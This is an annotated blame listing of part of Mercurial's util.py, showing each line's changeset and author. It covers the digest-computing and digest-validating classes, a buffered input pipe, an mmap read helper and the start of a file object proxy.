4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	204 """
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	205
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	206 def __init__(self, digests, s=''):
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	207 self._hashes = {}
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	208 for k in digests:
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	209 if k not in DIGESTS:
37099 895f209b593b util: use error.Abort instead of local alias Yuya Nishihara <yuya@tcha.org> parents: 37098 diff changeset	210 raise error.Abort(_('unknown digest type: %s') % k)
22962 4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	211 self._hashes[k] = DIGESTS[k]()
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	212 if s:
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	213 self.update(s)
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	214
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	215 def update(self, data):
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	216 for h in self._hashes.values():
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	217 h.update(data)
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	218
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	219 def __getitem__(self, key):
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	220 if key not in DIGESTS:
37099 895f209b593b util: use error.Abort instead of local alias Yuya Nishihara <yuya@tcha.org> parents: 37098 diff changeset	221 raise error.Abort(_('unknown digest type: %s') % k)
35582 72b91f905065 py3: use node.hex(h.digest()) instead of h.hexdigest() Pulkit Goyal <7895pulkit@gmail.com> parents: 35517 diff changeset	222 return nodemod.hex(self._hashes[key].digest())
22962 4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	223
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	224 def __iter__(self):
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	225 return iter(self._hashes)
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	226
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	227 @staticmethod
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	228 def preferred(supported):
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	229 """returns the strongest digest type in both supported and DIGESTS."""
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	230
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	231 for k in DIGESTS_BY_STRENGTH:
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	232 if k in supported:
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	233 return k
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	234 return None
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	235
22963 56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	236 class digestchecker(object):
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	237 """file handle wrapper that additionally checks content against a given
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	238 size and digests.
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	239
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	240 d = digestchecker(fh, size, {'md5': '...'})
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	241
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	242 When multiple digests are given, all of them are validated.
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	243 """
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	244
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	245 def __init__(self, fh, size, digests):
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	246 self._fh = fh
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	247 self._size = size
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	248 self._got = 0
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	249 self._digests = dict(digests)
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	250 self._digester = digester(self._digests.keys())
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	251
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	252 def read(self, length=-1):
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	253 content = self._fh.read(length)
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	254 self._digester.update(content)
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	255 self._got += len(content)
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	256 return content
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	257
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	258 def validate(self):
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	259 if self._size != self._got:
37099 895f209b593b util: use error.Abort instead of local alias Yuya Nishihara <yuya@tcha.org> parents: 37098 diff changeset	260 raise error.Abort(_('size mismatch: expected %d, got %d') %
895f209b593b util: use error.Abort instead of local alias Yuya Nishihara <yuya@tcha.org> parents: 37098 diff changeset	261 (self._size, self._got))
22963 56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	262 for k, v in self._digests.items():
56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	263 if v != self._digester[k]:
23076 c312ef382033 i18n: add hint to digest mismatch message Wagner Bruna <wbruna@softwareexpress.com.br> parents: 23030 diff changeset	264 # i18n: first parameter is a digest name
37099 895f209b593b util: use error.Abort instead of local alias Yuya Nishihara <yuya@tcha.org> parents: 37098 diff changeset	265 raise error.Abort(_('%s mismatch: expected %s, got %s') %
895f209b593b util: use error.Abort instead of local alias Yuya Nishihara <yuya@tcha.org> parents: 37098 diff changeset	266 (k, v, self._digester[k]))
22963 56e04741bbf1 util: add a file handle wrapper class that does hash digest validation Mike Hommey <mh@glandium.org> parents: 22962 diff changeset	267
11565 7546d4a272c8 util: improved the check for the existence of the 'buffer' builtin Renato Cunha <renatoc@gmail.com> parents: 11469 diff changeset	268 try:
15657 d976b1ef6760 util: don't mess with builtins to emulate buffer() Matt Mackall <mpm@selenic.com> parents: 15656 diff changeset	269 buffer = buffer
11565 7546d4a272c8 util: improved the check for the existence of the 'buffer' builtin Renato Cunha <renatoc@gmail.com> parents: 11469 diff changeset	270 except NameError:
33549 9a2ee9591acc util: remove dead code which used to be for old python2 versions Alex Gaynor <agaynor@mozilla.com> parents: 33446 diff changeset	271 def buffer(sliceable, offset=0, length=None):
9a2ee9591acc util: remove dead code which used to be for old python2 versions Alex Gaynor <agaynor@mozilla.com> parents: 33446 diff changeset	272 if length is not None:
9a2ee9591acc util: remove dead code which used to be for old python2 versions Alex Gaynor <agaynor@mozilla.com> parents: 33446 diff changeset	273 return memoryview(sliceable)[offset:offset + length]
9a2ee9591acc util: remove dead code which used to be for old python2 versions Alex Gaynor <agaynor@mozilla.com> parents: 33446 diff changeset	274 return memoryview(sliceable)[offset:]
10756 cb681cc59a8d util: fake the builtin buffer if it's missing (jython) Ronny Pfannschmidt <Ronny.Pfannschmidt@gmx.de> parents: 10487 diff changeset	275
25406 be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	276 _chunksize = 4096
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	277
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	278 class bufferedinputpipe(object):
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	279 """a manually buffered input pipe
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	280
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	281 Python will not let us use buffered IO and lazy reading with 'polling' at
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	282 the same time. We cannot probe the buffer state and select will not detect
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	283 that data are ready to read if they are already buffered.
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	284
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	285 This class let us work around that by implementing its own buffering
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	286 (allowing efficient readline) while offering a way to know if the buffer is
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	287 empty from the output (allowing collaboration of the buffer with polling).
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	288
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	289 This class lives in the 'util' module because it makes use of the 'os'
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	290 module from the python stdlib.
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	291 """
36554 3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	292 def __new__(cls, fh):
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	293 # If we receive a fileobjectproxy, we need to use a variation of this
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	294 # class that notifies observers about activity.
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	295 if isinstance(fh, fileobjectproxy):
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	296 cls = observedbufferedinputpipe
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	297
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	298 return super(bufferedinputpipe, cls).__new__(cls)
25406 be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	299
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	300 def __init__(self, input):
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	301 self._input = input
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	302 self._buffer = []
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	303 self._eof = False
25672 050dc6eabc92 bufferedinputpipe: remove N^2 computation of buffer length (issue4735) Pierre-Yves David <pierre-yves.david@fb.com> parents: 25671 diff changeset	304 self._lenbuf = 0
25406 be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	305
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	306 @property
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	307 def hasbuffer(self):
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	308 """True is any data is currently buffered
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	309
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	310 This will be used externally a pre-step for polling IO. If there is
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	311 already data then no polling should be set in place."""
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	312 return bool(self._buffer)
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	313
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	314 @property
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	315 def closed(self):
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	316 return self._input.closed
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	317
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	318 def fileno(self):
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	319 return self._input.fileno()
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	320
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	321 def close(self):
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	322 return self._input.close()
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	323
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	324 def read(self, size):
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	325 while (not self._eof) and (self._lenbuf < size):
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	326 self._fillbuffer()
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	327 return self._frombuffer(size)
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	328
38713 27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	329 def unbufferedread(self, size):
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	330 if not self._eof and self._lenbuf == 0:
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	331 self._fillbuffer(max(size, _chunksize))
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	332 return self._frombuffer(min(self._lenbuf, size))
27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	333
25406 be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	334 def readline(self, args, *kwargs):
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	335 if 1 < len(self._buffer):
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	336 # this should not happen because both read and readline end with a
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	337 # _frombuffer call that collapse it.
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	338 self._buffer = [''.join(self._buffer)]
25672 050dc6eabc92 bufferedinputpipe: remove N^2 computation of buffer length (issue4735) Pierre-Yves David <pierre-yves.david@fb.com> parents: 25671 diff changeset	339 self._lenbuf = len(self._buffer[0])
25406 be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	340 lfi = -1
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	341 if self._buffer:
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	342 lfi = self._buffer[-1].find('\n')
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	343 while (not self._eof) and lfi < 0:
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	344 self._fillbuffer()
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	345 if self._buffer:
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	346 lfi = self._buffer[-1].find('\n')
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	347 size = lfi + 1
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	348 if lfi < 0: # end of file
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	349 size = self._lenbuf
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	350 elif 1 < len(self._buffer):
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	351 # we need to take previous chunks into account
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	352 size += self._lenbuf - len(self._buffer[-1])
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	353 return self._frombuffer(size)
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	354
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	355 def _frombuffer(self, size):
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	356 """return at most 'size' data from the buffer
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	357
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	358 The data are removed from the buffer."""
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	359 if size == 0 or not self._buffer:
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	360 return ''
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	361 buf = self._buffer[0]
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	362 if 1 < len(self._buffer):
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	363 buf = ''.join(self._buffer)
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	364
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	365 data = buf[:size]
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	366 buf = buf[len(data):]
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	367 if buf:
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	368 self._buffer = [buf]
25672 050dc6eabc92 bufferedinputpipe: remove N^2 computation of buffer length (issue4735) Pierre-Yves David <pierre-yves.david@fb.com> parents: 25671 diff changeset	369 self._lenbuf = len(buf)
25406 be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	370 else:
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	371 self._buffer = []
25672 050dc6eabc92 bufferedinputpipe: remove N^2 computation of buffer length (issue4735) Pierre-Yves David <pierre-yves.david@fb.com> parents: 25671 diff changeset	372 self._lenbuf = 0
25406 be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	373 return data
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	374
38713 27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	375 def _fillbuffer(self, size=_chunksize):
25406 be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	376 """read data to the buffer"""
38713 27391d74aaa2 ssh: avoid reading beyond the end of stream when using compression Joerg Sonnenberger <joerg@bec.de> parents: 38576 diff changeset	377 data = os.read(self._input.fileno(), size)
25406 be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	378 if not data:
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	379 self._eof = True
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	380 else:
25672 050dc6eabc92 bufferedinputpipe: remove N^2 computation of buffer length (issue4735) Pierre-Yves David <pierre-yves.david@fb.com> parents: 25671 diff changeset	381 self._lenbuf += len(data)
25406 be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	382 self._buffer.append(data)
be930f16a52a util: introduce a bufferedinputpipe utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25245 diff changeset	383
36554 3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	384 return data
3158052720ae util: enable observing of util.bufferedinputpipe Gregory Szorc <gregory.szorc@gmail.com> parents: 36553 diff changeset	385
34302 3bb2a9f25fe9 util: add an mmapread method Mark Thomas <mbthomas@fb.com> parents: 34154 diff changeset	386 def mmapread(fp):
3bb2a9f25fe9 util: add an mmapread method Mark Thomas <mbthomas@fb.com> parents: 34154 diff changeset	387 try:
3bb2a9f25fe9 util: add an mmapread method Mark Thomas <mbthomas@fb.com> parents: 34154 diff changeset	388 fd = getattr(fp, 'fileno', lambda: fp)()
3bb2a9f25fe9 util: add an mmapread method Mark Thomas <mbthomas@fb.com> parents: 34154 diff changeset	389 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
3bb2a9f25fe9 util: add an mmapread method Mark Thomas <mbthomas@fb.com> parents: 34154 diff changeset	390 except ValueError:
3bb2a9f25fe9 util: add an mmapread method Mark Thomas <mbthomas@fb.com> parents: 34154 diff changeset	391 # Empty files cannot be mmapped, but mmapread should still work. Check
3bb2a9f25fe9 util: add an mmapread method Mark Thomas <mbthomas@fb.com> parents: 34154 diff changeset	392 # if the file is empty, and if so, return an empty buffer.
3bb2a9f25fe9 util: add an mmapread method Mark Thomas <mbthomas@fb.com> parents: 34154 diff changeset	393 if os.fstat(fd).st_size == 0:
3bb2a9f25fe9 util: add an mmapread method Mark Thomas <mbthomas@fb.com> parents: 34154 diff changeset	394 return ''
3bb2a9f25fe9 util: add an mmapread method Mark Thomas <mbthomas@fb.com> parents: 34154 diff changeset	395 raise
3bb2a9f25fe9 util: add an mmapread method Mark Thomas <mbthomas@fb.com> parents: 34154 diff changeset	396
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	397 class fileobjectproxy(object):
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	398 """A proxy around file objects that tells a watcher when events occur.
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	399
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	400 This type is intended to only be used for testing purposes. Think hard
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	401 before using it in important code.
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	402 """
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	403 __slots__ = (
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	404 r'_orig',
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	405 r'_observer',
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	406 )
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	407
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	408 def __init__(self, fh, observer):
36613 f5427483eebe util: add missing r prefix on some __setattr__ calls Augie Fackler <augie@google.com> parents: 36580 diff changeset	409 object.__setattr__(self, r'_orig', fh)
f5427483eebe util: add missing r prefix on some __setattr__ calls Augie Fackler <augie@google.com> parents: 36580 diff changeset	410 object.__setattr__(self, r'_observer', observer)
36553 bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	411
bfe38f787d5b util: add a file object proxy that can notify observers Gregory Szorc <gregory.szorc@gmail.com> parents: 36462 diff changeset	412 def __getattribute__(self, name):
